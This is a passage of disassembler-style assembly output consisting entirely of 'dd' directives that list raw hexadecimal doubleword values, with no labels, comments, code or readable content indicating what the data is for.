7C32BE81h, 20E09864h, 0A02C87C6h, 0C13A6048h, 97387768h dd 0FC4510D2h, 488A6C5h, 6B3D622Bh, 0C76482DAh, 21ADC113h dd 0D7973710h, 0E05AFF28h, 0A16B512h, 25040C32h, 0EC8073F6h dd 140C9946h, 0B8C3969h, 1562FC58h, 84DE4204h, 8A518899h dd 0F402A2E0h, 1820510h, 0F621E090h, 48D2FFCEh, 48D59760h dd 0E6C82841h, 0CE4680A1h, 280C8C99h, 138CF84Bh, 3F99BB3Ch dd 54CC880Ch, 0F0BFBB3Eh, 0E91A891h, 0E580AE70h, 0A0C99A3h dd 98CDA73h, 9C1F9E62h, 887AB5E4h, 8C956FBFh, 3BC8A057h dd 12B7E658h, 4AE98548h, 6BD8A214h, 4F217410h, 0F25061D5h dd 0C01159Fh, 11BD079Bh, 0A8C85194h, 0E0E181DBh, 0FF799443h dd 21DCCDD8h, 832A585Bh, 2CC44C4Ch, 956811FFh, 0DFB1C8AEh dd 0E324ECA0h, 2D00EC2Ah, 0BE7C4060h, 3E0498A5h, 0A24412A3h dd 52C11C40h, 0A106CC87h, 1834427Dh, 0BF6A8A00h, 0D99266F8h dd 31026CADh, 49D04370h, 0E52D229Ch, 116E3C4Ch, 0E4B19A14h dd 0C13CE851h, 9AB1080Eh, 1CD8551Eh, 0DD110D3Ch, 43E1B7DFh dd 9C301FEh, 76E1C24h, 0F5AF7D79h, 4A07EE0h, 0D9367C14h dd 8BA85E0Eh, 0EEBD40CBh, 11B4709h, 8331523Ah, 30998E9Ch dd 48155710h, 2EDCEA8Ch, 6F4080C4h, 1B56EFh, 129D4376h dd 0C2DE59ADh, 4B210260h, 0DC4A22h, 0D9137F29h, 0B28D8137h dd 6A9A5306h, 2280FB8h, 0B7FE783Bh, 3340E85Bh, 9A0109FFh dd 482ADA5Ah, 7984F990h, 0C85277EAh, 0A988162Ch, 39D200D4h dd 0B96825Dh, 8300C911h, 0E5754826h, 4C17E58h, 0C45BA076h dd 7D14D3FFh, 5466AED0h, 5C38AC72h, 36DF80E1h, 0D58D9F42h dd 2B220079h, 675E5AF3h, 0BA00E966h, 9DFDECEBh, 0FCB5B41h dd 5DE48B6Bh, 9B21E183h, 9739F0A7h, 0E91B6F37h, 88A93E81h dd 777C47Ch, 539C825Bh, 7B4800D8h, 0EA7E0321h, 104E68A9h dd 13DDE4h, 0AB045DA9h, 65D5F41Fh, 8E3BFE00h, 0AA540DEEh dd 116F0AACh, 8CB41469h, 7C494DDFh, 86549F00h, 91992A1Eh dd 0B50F05Ch, 0A045AC73h, 48DE8900h, 5E988A9Ch, 0C483E124h dd 8B2BF700h, 13F58DBh, 1CCD1380h, 408E3743h, 0DD9762E9h dd 1D6FCE00h, 7F04E5E8h, 3A4B015Dh, 42474D85h, 8C3AF34Fh dd 3F3FF892h, 0D773FA82h, 49534E00h, 4C564D80h, 1E14A58Bh dd 50540C3Dh, 4C1F5B30h, 53049446h, 4A03823Bh, 3AE95785h dd 949FC8Ch, 48171D00h, 0E45C8F43h, 51810D04h, 80180857h dd 4D5F8CC4h, 0E75C9045h, 288067D3h, 4E58B084h, 38E85B89h dd 575D9118h, 6E535478h, 92E6313Eh, 5D14595Bh, 0C50C4751h dd 84401CD5h, 3A495080h, 56580A88h, 1889146h, 5257864Bh dd 0D52980D7h, 98BEA59Fh, 18EE7841h, 18F2A0E4h, 6A03AF1Ch dd 0EB0A26F7h, 9B3100D6h, 0F918F1A2h, 4D002F22h, 404F80A0h dd 3E0C2158h, 1C00DEA9h, 1BC68BE4h, 6DF4DD07h, 3F10D60Fh dd 0E0A68FEEh, 9DCE70B9h, 30D4B027h, 2F710AA1h, 0CA08F895h dd 7CF6AF7h, 405C56E4h, 0EB3859F4h, 686328C0h, 102BD724h dd 19D8F66Ch, 55A1F4CEh, 21201842h, 9005279Ch, 0CE86EE68h dd 6EE31DCh, 699CCB54h, 0EA6D59C7h, 1FB68888h, 151EBE0Fh dd 61F72040h, 166529DBh, 0E1B8BC1Dh, 0EAE0BE59h, 0F304308Ch dd 0B050D179h, 62888A2Ch, 0A64101D2h, 0AD022FAh, 8220BED9h dd 9AB0B92h, 0D3D084DDh, 0B318F362h, 98068C25h, 99499DAAh dd 0D2CD3030h, 0D6D9D8B9h, 6B68A760h, 19DFC4A2h, 0C8D5EB0Ch dd 5BAC10F0h, 0DCF2503Eh dd 0DFF1C11Dh, 86B39A75h, 0E9F0BD31h, 4C1F5418h, 58945068h dd 69F7181Ch, 0A29C91E2h, 180DE924h, 0ABC13937h, 0AAC58B72h dd 93043086h, 0EB5418E6h, 0DA51584Ch, 28E81358h, 6DE39101h dd 0EE3EE106h, 0A80539BEh, 2160D263h, 0AD866A4h, 7436FDC9h dd 0EDC5B8C7h, 8A351C8h, 27C48537h, 66FC6A33h, 21AD4250h dd 0B8425C0Fh, 0FCE5E710h, 0BE9085EAh, 21D4BF88h, 0C444FEBEh dd 8359722h, 0D251FDAAh, 428D6F08h, 4214EFA2h, 0E44710DFh dd 28CCF7FDh, 1F5384EAh, 0EC3EE150h, 0DC99CE18h, 6C9DA63Bh dd 0A4F1A088h, 0D26D438Ch, 36A83109h, 736010D6h, 39BF34C3h dd 48C8561h, 40EAA184h, 3460AE13h, 90FB4820h, 0A160ED22h dd 1E2BE809h, 0A026499Dh, 0F33CF022h, 0BBA195AEh, 10F43198h dd 4C4C09A0h, 98EE4C6Ch, 0E0113DC8h, 42B08E26h, 3CB0EE05h dd 2C189EF0h, 1011F26Ch, 9DA624CAh, 0E0CE42E8h, 0A886DC46h dd 94941CFh, 2768908Eh, 48A493A8h, 9E700138h, 0E7F706h dd 338281Bh, 4B53568Bh, 40AA5F3Dh, 4604A8C0h, 4CE78F58h dd 5B1603E8h, 89F2814Fh, 2F707E22h, 5D8F01F7h, 5C3D3C56h dd 8EC604Ch, 863F5907h, 8CBE045Bh, 0C3852854h, 5C8C4510h dd 518239E0h, 3D3E5217h, 813C0400h, 0F0504708h, 0E861F949h dd 166FAFDBh, 5A84F040h, 0A24B4445h, 0F704357Ch, 49334402h dd 4AB44082h, 5C5E0A4Bh, 50181D3Bh, 0B09A0CBEh, 0EE6DE207h dd 2C373F08h, 0C843A330h, 9E1C0CB9h, 7218098Eh, 230E5B17h dd 0C61BB00Fh, 3959DB4Dh, 0FAEBA62h, 0E33B0294h, 0BCE16DA6h dd 6003FA51h, 84A5881Bh, 0CEDEFA2Ch, 0A8801081h, 18623DB7h dd 0C9DDEC00h, 0DF6AAEC1h, 0F668B84Fh, 53E40085h, 9AE7D965h dd 18C7507Fh, 1F96A262h, 0B8B5F870h, 524080A0h, 9D3D30E4h dd 4FEA86E9h, 4DF0D774h, 0A52540B2h, 0AEE4022Ch, 3C7CA7E3h dd 80D67330h, 0C3C8F7Ch, 10114293h, 867513A9h, 68E4189Fh dd 0B4285073h, 36318C0Dh, 966A682Ah, 0D62CF8B8h, 0AEA042ACh dd 24C3A907h, 0E4400789h, 7675AAA6h, 9D61784Ch, 0FED4E531h dd 8F048C4Ah, 78DD4D2Fh, 0A880C229h, 0E0C9ED8Fh, 3A86204h dd 2B976740h, 0FDBEF371h, 0ABA79843h, 218098CEh, 77231FE3h dd 89D81978h, 8C4847D9h, 2C938D48h, 6424159Eh, 49851857h dd 0A23E3BE3h, 0F1D000F3h, 0E9D4F7B2h, 3EA40031h, 90404C3Ch dd 49035508h, 38564F8Ch, 0CC48C28Ah, 504A5878h, 525D8E0Bh dd 481540Fh, 0D13B6C1Bh, 27C3844h, 0EFF52A05h, 324498F9h dd 0FAC0FC34h, 6C5B2B92h, 73BB0504h, 340DC449h, 2808000Ch dd 0F04C4B86h, 304CD689h, 8625221h, 0ACEC5050h, 0EB9C3E88h dd 0D1A0E929h, 2B95031Eh, 94C86509h, 99C80853h, 0B1574CA0h dd 5901CCE0h, 104AE90Dh, 6B441722h, 1919F1A7h, 42CF108h dd 54957004h, 0DF9C661Fh, 4495E905h, 3D1A0C21h, 50018C59h dd 0C72F6021h, 0A412C9F3h, 0D85840EAh, 40BAE086h, 0C8EFEE44h dd 0F191F009h, 0F344F222h, 12F589F4h, 48F724F6h, 22F991F8h dd 0FCFB44FAh, 7404DDF8h, 71263738h, 911B9582h, 0B8941FF4h dd 0EFB284D8h, 24590497h, 80ED0852h, 23FE45BCh, 0D7920FE8h dd 0DC8F381Dh, 0D6E67980h, 0C7C0FB7h, 54E92207h, 624195FEh dd 6AE19DD8h, 72F1A5F1h, 5A403ED3h, 0C7D1D01h, 40591CDEh dd 0EC0FB490h, 12C4F8B7h, 9A4446E6h, 4D0FF48h, 20B2EAFFh dd 2D608856h, 8333A6Dh, 2840732Bh, 52653A3Eh, 44BAC38h dd 27345A82h, 9306001Dh, 0C809365Bh, 38A20A09h, 57FD0485h dd 0C4C0F55Ah, 2602CF68h, 41D4EB5Bh, 0DD10816Dh, 384A1D99h dd 0C4A84FB1h, 0AB0FDD09h, 86295568h, 18DB5Ah, 669FF0D0h dd 0FC91D6F1h, 1CA1727Ch, 5EFDF0A7h, 2BAF2405h, 282220F7h dd 0E438F5E2h, 29302C7Ch, 0D4BEB919h, 0F05D81F8h, 6D39183Bh dd 4B099E31h, 1D23813Ah, 8B3C5537h, 2427FCh, 3E45567Eh dd 0D7255A82h, 49005F74h, 374D9138h, 0EA5E8F3Ch, 29820F3Ah dd 0C79F28E5h, 0BE704B56h, 0BC865D9Fh, 2F1D1887h, 716BC74Ah dd 87934058h, 5C905040h, 56664490h, 4046524Ah, 3C93FA7Ch dd 5E0F4751h, 898329E8h, 36C5584Dh, 540A9830h, 1C824A53h dd 52F76567h, 18E401A8h, 0EB58568Ch, 609A54A2h, 5465EC15h dd 50A420FAh, 96E8131Ah, 18E45B2Bh, 0A4F84417h, 0B1A6080h dd 5D245B4Bh, 5758304Ah, 0C43C5156h, 0F84F0AD4h, 4B330A41h dd 60385344h, 167931E5h, 891E4103h, 0A5384657h, 401C1429h dd 40F41Dh, 512F7905h, 50497F46h, 0F88C332Ah, 5C5B8B0Fh dd 9C2AD30Dh, 303800EBh, 24293C70h, 3437006Fh, 580D1D2Bh dd 61009033h, 55824B57h, 26790917h, 0A800564Ch, 2887F1F9h dd 0B95B41D7h, 46A0982Eh, 33191E94h, 4D5A811Ch, 571E4066h dd 0A8034212h, 0C4448FFAh, 6C4120CDh, 51F03B41h, 0D7EC905Ah dd 0C358FC50h, 4F05171Bh, 0EB04A291h, 462B4FA0h, 578B4503h dd 9971F758h, 0B22A3848h, 5864DF98h, 50060816h, 78085E86h dd 4335264Bh, 3C570FD0h, 385206DEh, 4A264088h, 0F700C092h dd 4B455090h, 53611D3Dh, 0E10354Ch, 3623F28Ch, 6A165581h dd 70045B86h, 0FCC35C7Eh, 4704C144h, 3151A020h, 4B109140h dd 3D608985h, 58AC0C86h, 4A44F25Ch, 60D8AC82h, 8C500440h dd 0DE38E85Dh, 253E1EC8h, 60B5D456h, 0A09426FBh, 564A4D25h dd 0A5FE7DD0h, 0B7483AF8h, 0D43D5D78h, 60930580h, 8058F748h dd 12CF60h, 3C4F4969h, 595B3B3Dh, 0AED2B849h, 983EB03Ch dd 46531D1Ch, 1541291h, 390456E8h, 900BF396h, 0B4C5C8Ch dd 0E470FE7Ch, 0BF0CF616h, 493B4FB0h, 7FC43A59h, 0D1908B79h dd 0C7E48259h, 99B94B3Dh, 98607E0Ch, 0F98D724Ch, 43DA82F9h dd 0F828A6D8h, 0C44D5890h, 3D1C0692h, 5B2C0949h, 0E429C453h dd 9050994Fh, 1727C064h, 1D4B4EF5h, 9246C920h, 693C1086h dd 48F88CF8h, 5B5C4374h, 4A538520h, 3C212C2Dh, 5D40E2F2h dd 3049B041h, 58C05E34h, 8C3A045Ah, 4C543E55h, 8005B066h dd 48183753h, 0DF943E50h, 0C0AE0C6Fh, 33124478h, 4F84B66Ch dd 4C954D01h, 0D140EE4h, 40E81858h, 1C85458h, 824D295Ch dd 50685856h, 4D6F00FAh, 5C923F37h, 2ED8B048h, 0BE643456h dd 4F82438Eh, 345B40F5h, 0F75047F8h, 432EA75Dh, 0D0CD5A61h dd 863F5C20h, 8109CEDFh, 4B44E160h, 4F8C40D0h, 0F33C2456h dd 2CE81DD4h, 532D9107h, 87BE86E7h, 52618A45h, 8C70734Bh dd 4A7E1740h, 29900350h, 2DA12035h, 50800557h, 0C151854Eh dd 4B5C4D21h, 0C45FFA8Fh, 0F380B200h, 0E483C82Dh, 68018D24h dd 4635602Ah, 80477E45h, 925D341Ah, 4BECC218h, 34A150FBh dd 5789387Ch, 1F9071DFh, 4048DD7Eh, 272608F0h, 2A7D6674h dd 86578F3Eh, 4D5093F7h, 4F4A0321h, 3A455A91h, 0C88451A2h dd 0D230E13Dh, 0D789E0D9h, 1A80C26Bh, 0E7109738h, 737EC738h dd 0E87C2A58h, 28804035h, 240560F0h, 201C8F1Ch, 4C5F0CDCh dd 3C208940h, 565C9507h, 244F8038h, 0B8E18B46h, 1D2AE077h dd 806051C4h, 4E118C08h, 0BBF8643Dh, 0E33B5483h, 88DDCF38h dd 0DC474AF5h, 885FF782h, 0BC3FD8D0h, 545E0250h, 63883A53h dd 806CC204h, 4D903880h, 29E11410h, 912AB04Bh, 603D6EF0h dd 0A8288C64h, 2873DF28h, 204EEB44h, 90525CE9h, 12DC5358h dd 60D6E920h, 618F1630h, 0E8D48D10h, 89484754h, 0F4382944h dd 7A6432A5h, 209148F0h dd 46300F4Eh, 91517287h, 9A49924Bh, 0FC069E8h, 516F7EF0h dd 90D67FB4h, 913D09B4h, 0DC87455Fh, 8B409044h, 600FE44Dh dd 0C0B172E1h, 0F90EF5A2h, 7AB8F022h, 5DD30D9h, 3CA57310h dd 0AFC19E07h, 0C272A00Ah, 0D4C05FDEh, 6B27264Ah, 80DC54A2h dd 350190D5h, 9DE2A82Ah, 88211331h, 80D7A25Eh, 7522F8h dd 0CDC9F82h, 43F0D4EBh, 0DA5A3C00h, 22F7EF09h, 0EE5905E8h dd 389C3B6Ch, 0D9468E20h, 4D18D83Ch, 65F7B00Ah, 5680DD54h dd 99180F77h, 61C82E05h, 3608C0ECh, 0EFEE7DA8h, 6B70C8C2h dd 94C37506h, 0B322D0DEh, 0F1910925h, 0A1D59468h, 0F75C1CC8h dd 48A570FDh, 0A94068FCh, 97955085h, 78EE80D0h, 1C674029h dd 0A029F590h, 737200D0h, 0DD09A539h, 40BC1B00h, 0AA7D502Fh dd 0EE3F0607h, 0B9E5624Bh, 1A99DD14h, 0EDC51194h, 9FE03F77h dd 7C4ADCEh, 383049E5h, 99DD6212h, 0FE1DBA34h, 22E1C99h dd 0CF68908Fh, 0F3078C92h, 73F7E68Ch, 0BE8CB0AAh, 973130h dd 0E6E96C13h, 48E0932Dh, 0B9A2F1Eh, 15C0821Ch, 2A6711D5h dd 0EA519A6h, 814478EDh, 2CE452A8h, 0B19FEC05h, 7C9A0008h dd 20FB6171h, 8296933h, 2F210003h, 0BEDF9A3Ch, 0C007F0Fh dd 835E4F87h, 907A15A1h, 63700A3Ch, 3BCF7FEh, 0F6FA7DA5h dd 0D9E47041h, 0ED5D10F0h, 903C9358h, 966F0CEAh, 901CD9D5h dd 93DA7138h, 5F51CE58h, 622CA4h, 0FAA2EBBAh, 31B8E722h dd 5246755Ch, 0AA5E064Ch, 6E40EB45h, 0F2CE71h, 73DD6038h dd 1F50677Ah, 7430F708h, 0B9FE39DCh, 0E4709DF9h, 1B6254AFh dd 936D3094h, 60E2A20h, 0C565A8A7h, 1DFC3853h, 0D9CC3918h dd 75F581h, 69603EABh, 6156E90Ch, 21EC08CCh, 0AB6E0216h dd 0A71A98DBh, 1E2C482h, 1CCF9F04h, 7E24A684h, 0B824A610h dd 0DDD21508h, 6A08C4EEh, 6940258Bh, 7E7E6BD4h, 0A1E6254Bh dd 0E08294F4h, 68265BABh, 4E6F18h, 96CFB065h, 217C674Dh dd 0FCCB7E25h, 584B60BCh, 99251107h, 4A6CFC63h, 802B117Ch dd 717B9A43h, 4448C59h, 9A3B002Eh, 2485F68Ah, 8979D2F1h dd 0AC993206h, 0F0C0EDD5h, 0DBE4803Dh, 3854BA52h, 3E05F373h dd 65E83A23h, 0D74F5020h, 9AD07C6Dh, 30050F18h, 224E41E0h dd 1B66EC63h, 21FA0830h, 0E0E02826h, 0A9FF0CB5h, 11D00471h dd 2D73A212h, 38E070FEh, 0EA30936Eh, 0E776881Ah, 0D3E51FB5h dd 525B06B7h, 45091804h, 8EBAE85h, 5F435C10h, 7879CED0h dd 803300A2h, 0FEBA9E71h, 0AA7FE64Ah, 9C8290AAh, 34002C27h dd 9551085h, 71F7D967h, 0D3E46010h, 8CF4BA1Ah, 38C45F10h dd 24A8A7F8h, 3740E372h, 60B27A5Eh, 6A75C818h, 18C457C7h dd 0A8902CBDh, 11D6431h, 3E028FFBh, 8056F385h, 10E43AA8h dd 0F525B1FAh, 1473020h, 33DCA6E3h, 41668176h, 13BEBD8h dd 4CD61D3Fh, 0AB7704B4h, 62796040h, 701820EFh, 0B0023BABh dd 5DB3CC89h, 0C6444079h, 0A03456EAh, 3B346824h, 9A3E02C6h dd 31317176h, 367017FEh, 18799C9Ah, 0E925BFACh, 0AA00697Fh dd 1C9913DBh, 28854696h, 0D8EA8Ah, 0C239C04Dh, 0F5B25FBEh dd 0E7980750h, 0BD30B0A6h, 57B54924h, 0E6AE0E2Ch, 0F6CF34BCh dd 8C643E24h, 0C600A718h, 4A44E1E5h, 24BF0C58h, 8870D60Fh dd 8E033537h, 0C5E001F7h, 45462882h, 3A62821Ch, 0E500DFCDh dd 1953E7h, 49781A0Dh, 0EA9E0761h, 1C2E8E02h, 40DE7A3Dh dd 2F9D4Bh, 42BC17C9h, 0AE088860h, 19C2BDF2h, 2B200Fh dd 8927F97Ah, 3E287B00h, 9CD017A9h, 0B2AE00BDh, 4BAA53C3h dd 7A0CEC44h, 2986267Bh, 1D67AA2h, 4DD70B99h, 98BF0342h dd 0C5219708h, 3DEC01CEh, 44B08AC2h, 9018B182h, 41004F1Ch dd 0A9C047AEh, 62088B85h, 81A42846h, 4DC30088h, 8A382091h dd 7102BFB2h, 0DFF9AB2Eh, 8770AF79h, 83429B63h, 0ACFD3094h dd 18FA574Ch, 0A3C84B81h, 444A0C8Ch, 82A0896Ah, 5111EA00h dd 8E6356D5h, 4AD8009Fh, 2FCBBF5Fh, 0C9C08B27h, 130977Dh dd 8396007Ch, 0AE03DC68h, 68C0854Bh, 11D182A8h, 5EE1C042h dd 0C7873DE0h, 2D9EF603h, 0A39FC6BFh, 8421005Ah, 4A2B3DD8h dd 5B00CE8Ah, 21ED7C4Eh, 60FF9237h, 8E7B982Eh, 0D0249BFh dd 840804D9h, 0C298805Bh, 355F538h, 52F41CE3h, 82C8DFFEh dd 7150D230h, 83F7119Ch, 0CF2BB69h, 0DB6A023h, 1425009Fh dd 0EB78505Ah, 21F584Eh, 0C3852B62h, 0F03EB573h, 8A009D23h dd 4B733CB8h, 0C6A602BBh, 5CF43FC9h, 0C7B60600h, 533D808Ch dd 0DBC60415h, 77D7CDCh, 0E1282960h, 0E04906B4h, 9FC9C332h dd 69009427h, 19BAA65Fh, 177362CCh, 0CE2B1h, 0AACD60DDh dd 0E37E2D64h, 6E19E603h, 785C038h, 0F23A9139h, 0CC44A73Dh dd 0AE3E0468h, 0A4806133h, 80594B0Dh, 607E10E0h, 0F27806Eh dd 0B18FBE9h, 3F38C5FCh, 0C8388289h, 5724CBB4h, 0EA002C8Bh dd 9672370h, 871A14FBh, 0A8C2CC81h, 504C0828h, 490D4D3Eh dd 0F0FC0144h, 4E519AF1h, 37639441h, 7D0424h, 5EBD7710h dd 0E1D9DCAEh, 0AD1F0E7Ah, 0DA0C997Ah, 5484C0B2h, 8C7FE04Ah dd 9D11DA7Ah, 9A88F70Bh, 0ECD2C987h, 0FFC36BB0h, 0F43B048Eh dd 98B93CEBh, 10E881CCh, 2566620h, 0E97EA721h, 1847FAB7h dd 0D0609C44h, 0C47A47D4h, 0B2119402h, 90A487DBh, 805782C0h dd 0CF34FBB3h, 0A464D87Bh, 8AD7ED81h, 6911884h, 0C998882Ch dd 3DB07C56h, 0DD796027h, 11E23C1h, 0B29C18D9h, 40DBA9D4h dd 44AB8AB4h, 12C72880h, 214A7017h, 91861F14h, 30018F49h dd 6B17B34Fh, 0DDDCC067h, 5872BE09h, 6D5C1948h, 8CCB0830h dd 883DDA3Eh, 649FC6C7h, 0D27E4059h, 40273Eh, 0E8F4098Ah dd 0CB38341Ch, 0B8321DFh, 13F7608h, 0EBA79060h, 2633B7ECh dd 64B524FCh, 0FD6C0261h, 29E5E081h, 247E6A8Eh, 81009B34h dd 6D03DB01h, 0CCFC8662h, 0BB219109h, 5BE7940h, 0E81FC79Dh dd 49885E43h, 0DC109807h, 5802A24h, 17CA0920h, 0E8943E10h dd 380D820Ch, 39DEB9D6h, 1589EA58h, 0AC053B31h, 37EC606Eh dd 0E0AC54FDh, 3DC9E5Ch, 6B394E24h, 6D0058Ah, 49FF3E6h dd 193C9C44h, 861893E8h, 329A7B0h, 0C0407495h, 2919017Eh dd 80F0A699h, 516DCFE5h, 70026E13h, 0DC26FFC0h, 416B3159h dd 142608Ch, 0F8CCD0E3h, 3E21053Ah, 85C2438h, 4BCE8F48h dd 751C0501h, 208F4822h, 0C8017ABCh, 0C71580ACh, 0C05C3Fh dd 1B2DAAE1h, 60F28F6h, 3BC603E3h, 373929B2h, 13DC4024h dd 300E4D89h, 9AD5F72Ch, 507B7D31h, 29A43D20h, 3247161Ch dd 0D8317DECh, 460B9BE8h, 9622E7h, 93ECD0C7h, 4B8D3802h dd 4D70A760h, 0D8295506h, 8F84C878h, 0D0A058h, 36A4C06Ch dd 1293CB97h, 2062D53Eh, 459948DCh, 9AB2D603h, 0DEA97FA6h dd 21426008h, 3545916Bh, 85199D00h, 6A8358F6h, 14E1C58Dh dd 49F4C179h, 51D4ECF0h, 638C1C00h, 0C0EB849Fh, 0BF670070h dd 6156B56Bh, 931EDA83h, 88700C3Fh, 883C0491h, 0B8924D11h dd 9603ED78h, 0D363F758h, 928798B8h, 764928AEh, 2060B0ECh dd 7A3A536Ch, 90A1A0BEh, 47102120h, 3A95B08h, 28E580EFh dd 0CCEDA26h, 843DDDC0h, 9EDE21C7h, 81005791h, 66E73DD5h dd 8C1CBE53h, 7A0BAB5Fh, 0BF90A050h, 0B03FE059h, 0B1987B70h dd 9ACB08B8h, 45B01886h, 57E61019h, 3E1056A8h, 311F31AEh dd 0F42042C9h, 0C197406Bh, 31583F10h, 47837B3Ch, 484A3805h dd 0B2288003h, 0C7CCB9Bh dd 45FA3338h, 0C313B1B8h, 0D00096BBh, 0FDF2180Fh, 1A8B0A6h dd 0ACD2DE12h, 8085A3FBh, 40EF8220h, 0A732D58Eh, 63E11F20h dd 770DAA01h, 18601EB2h, 0FEB40152h, 8CCF093Ch, 8128299Ah dd 6902300Bh, 79FF9000h, 6FBC4307h, 0D8DD9437h, 8F009473h dd 49D234E8h, 88607DBh, 480C1747h, 8043BE40h, 46F49878h dd 3DDC02CDh, 0B1D6C783h, 80105BE8h, 12003DD4h, 0BCD5AECEh dd 1C4E75BBh, 90B9E45h, 0E4905EC6h, 4D588C09h, 8C98ECE8h dd 856B713Bh, 0A393D3B4h, 0F046AC90h, 29166F3Eh, 45B20803h dd 0D880702Eh, 3E393008h, 93C5DE09h, 8827DC04h, 0E60034F8h dd 2A625B2Eh, 9ED7AAh, 0C073C1A1h, 9252D848h, 2794471Dh dd 0F1873130h, 2C530399h, 8693139Fh, 48ED37F8h, 50FA763Bh dd 3A03BDB4h, 0BE384B82h, 0B393B88h, 84416A94h, 1A0861A7h dd 0AB188547h, 188186B6h, 39A4AFC3h, 2028DE60h, 5840BC84h dd 9DC310EFh, 2983378Dh, 0D7E6FE31h, 430442F2h, 21718218h dd 8455F537h, 0A0945920h, 11226122h, 0F8FCA053h, 0E42C21h dd 5126B31Bh, 49736072h, 0E8C90400h, 4EBE7E4Bh, 22B890C0h dd 37254AECh, 3C8020C2h, 4871F5CFh, 0D71B70F0h, 613D91A7h dd 8F4C804Dh, 0B4E15DCAh, 4C797E11h, 2B3AC82Dh, 52063040h dd 29700805h, 0A1009261h, 0EE27FF8h, 633680B8h, 888EC388h dd 31C3826Bh, 0F86F55F7h, 0B3BFCEC4h, 7FE3D8Ch, 80831A1Ch dd 228401EAh, 0A2407366h, 5E2C3095h, 0D997DE05h, 5C81E08Ch dd 0D8224E74h, 2103787h, 0D852791Ah, 63DAE880h, 0E3D3B380h dd 0EA08F82Ch, 2C01297Eh, 781FCB72h, 7804E034h, 9180A8C6h dd 5210140Dh, 0A66E2846h, 1D07CBE5h, 0DB328918h, 0DC58008Ch dd 0C98FCA0Bh, 6178047Bh, 6A038E40h, 660116B0h, 78C3B6AFh dd 0B02C4D7Eh, 0F8C9FE8h, 977C5223h, 46C95D00h, 7B0CFBF9h dd 0B8A0EBE5h, 0DCCC9C8Eh, 5D3730Fh, 7C180223h, 0C4A4E72Fh dd 33E46093h, 21030929h, 4C2E3263h, 89F70C20h, 0D00049F8h dd 394DB7C8h, 9C18375h, 47118746h, 7D536020h, 310950D9h dd 83569A20h, 1BA9E3ACh, 0E0419249h, 48EA87A7h, 11B80214h dd 81058634h, 13420A10h, 88200EDCh, 5057B834h, 0D909A602h dd 9C5105DAh, 0CEEFCEEh, 2F309E3Dh, 488A753h, 0C78628EBh dd 2914690h, 3DE0184h, 0ECE785h, 0AF017CBEh, 754DF9B8h dd 0B0C1131Ch, 59667831h, 45F42701h, 0E34C845Ch, 28430B04h dd 40E802DEh, 0B2B71058h, 0D4352780h, 1E156051h, 32C22860h dd 20A03E24h, 8467BD86h, 0D8B2609Eh, 1833090h, 7D03DD12h dd 0BD00A08Bh, 2EDC017Bh, 1F1267D1h, 20263260h, 97ACA050h dd 9E30A098h, 8A5B28E6h, 7A350208h, 93A33119h, 1879E069h dd 2497F4D4h, 7060C70Bh, 0EC01CCC3h, 0E8E17DBCh, 820223Dh dd 278F4048h, 3C007099h, 2E3B7B5h, 28B272CBh, 0ACF49A37h dd 40114E18h, 25245400h, 53C87B4h, 74E0673h, 4F02A98h dd 52FD38CDh, 18E881D4h, 33E80043h, 0ABE204CAh, 0C858A630h dd 88546B1Ch, 3B00F994h, 32AA91D7h, 0C3CAA8h, 0FEFB22DFh dd 0E4DD06B3h, 3BA42902h, 0A0A920B7h, 0E01F47C4h, 0B1A8AC39h dd 18557134h, 75A50778h, 19FBB4D8h, 0FC9110E0h, 0E1132C91h dd 4BC3E006h, 0D1D49160h, 371896h, 0CE6CC55Bh, 0E2803C1Ah dd 3F98D162h, 0DC34C9E8h, 0FB70F047h, 0AC249018h, 8428C4D4h dd 81CB0B2Dh, 4A892B58h, 3821D05Ch, 38897AC2h, 0A0D8C3h dd 0BFE603E2h, 0BC03AB4Ah, 52E700Fh, 94F3B671h, 0ABD00082h dd 0D14B1918h, 0AA00E97Eh, 2B2095EEh, 6055A0E0h, 0F5FA1856h dd 50166BEh, 0AE3AF25h, 0FBD0B2B3h, 3E9AF824h, 9C1C8FCEh dd 0DDD81D8h, 8EB5B30Bh, 0CCA0B821h, 7BA4934h, 2B1DE458h dd 1173B030h, 853B2F40h, 78F0B0AAh, 40F5A03Ah, 2578652Dh dd 0AA89B106h, 20EFADh, 70DE168h, 31E533E3h, 85FB90C0h dd 0FF91CBh, 0B4F48B1Dh, 6E9E4F5h, 0F20069F8h, 44CCA2FEh dd 0C192966h, 0B30D4DE3h, 3D00CFA1h, 37387FBFh, 66302920h dd 21C70827h, 0BF35F100h, 0C4C81E04h, 0E9995F21h, 816A00CAh dd 6B89CC0Eh, 5DE42Ah, 0F248A4AFh, 32C1858Dh, 8B06221Dh dd 604C8F4h, 50003115h, 3D5496BAh, 6AF9291Ch, 0DF816601h dd 0E995637h, 8F124609h, 4354B52Ch, 0FE801h, 2736CA7Dh dd 3203F91Bh, 0E979E07Fh, 0C25D840Ch, 406D6812h, 0FF3A5F21h dd 250D1DB5h, 0E85618E0h, 5E204903h, 894FC372h, 16FB33EBh dd 56462100h, 50BA26C3h, 902000BFh, 95FF41B0h, 60C11321h dd 4E1BD89h, 1AE90C8Eh, 0CA813838h, 0D5F02B00h, 0ABB96624h dd 0C08B03F4h, 3079B589h, 0BD832E06h, 0E00C08DDh, 12096275h dd 74200A21h, 0C3535019h, 7D2B838h, 85895A06h, 7241B39h dd 0BFC99D8Dh, 0D3FF6024h, 22AC585Bh, 200F1741h, 63BC467Dh dd 10022BAEh, 661D99D8h, 0C050E882h, 0EE903D82h, 0EB7D6C86h dd 0C75FCF07h, 2C0CF585h, 8927C101h, 8110A99Dh, 0E7B86814h dd 0C641CEE4h, 7F871AC9h, 683AF185h, 0FD9AD018h, 96618A14h dd 50DA430Fh, 121F0E11h, 80656832h, 319C488h, 0A75C00Bh dd 26818C11h, 0DBD46880h, 40AFC005h, 821691Fh, 36B101AFh dd 2B8533A9h, 0E030D95h, 8B66743Ah, 1145B3D8h, 920A704h dd 50388366h, 46015109h, 0F1566204h, 7C250709h, 0F8588317h dd 28356E34h, 826CA1Bh, 6C281EE9h, 5B1C5346h, 5C8988C3h dd 434315C4h, 7FE8C353h, 0D5548D29h, 960E9F4h, 9FF57921h dd 3A970002h, 80504CF9h, 0A39271BDh, 84320FE0h, 80E82D2Fh dd 3F78451Bh, 57F70002h, 8B402530h, 1964B9BDh, 4E81595Eh dd 2252121Bh, 0BA532018h, 0D614A06Ah, 28C55F09h, 706F4A61h dd 998D6727h, 19E1069h, 850F8804h, 314B9760h, 0A42D958Dh dd 0B53B67E3h, 90A5B489h, 8E95048h, 933E31C0h, 13764B01h dd 13051E6Eh, 0AC970534h, 4AC5992h, 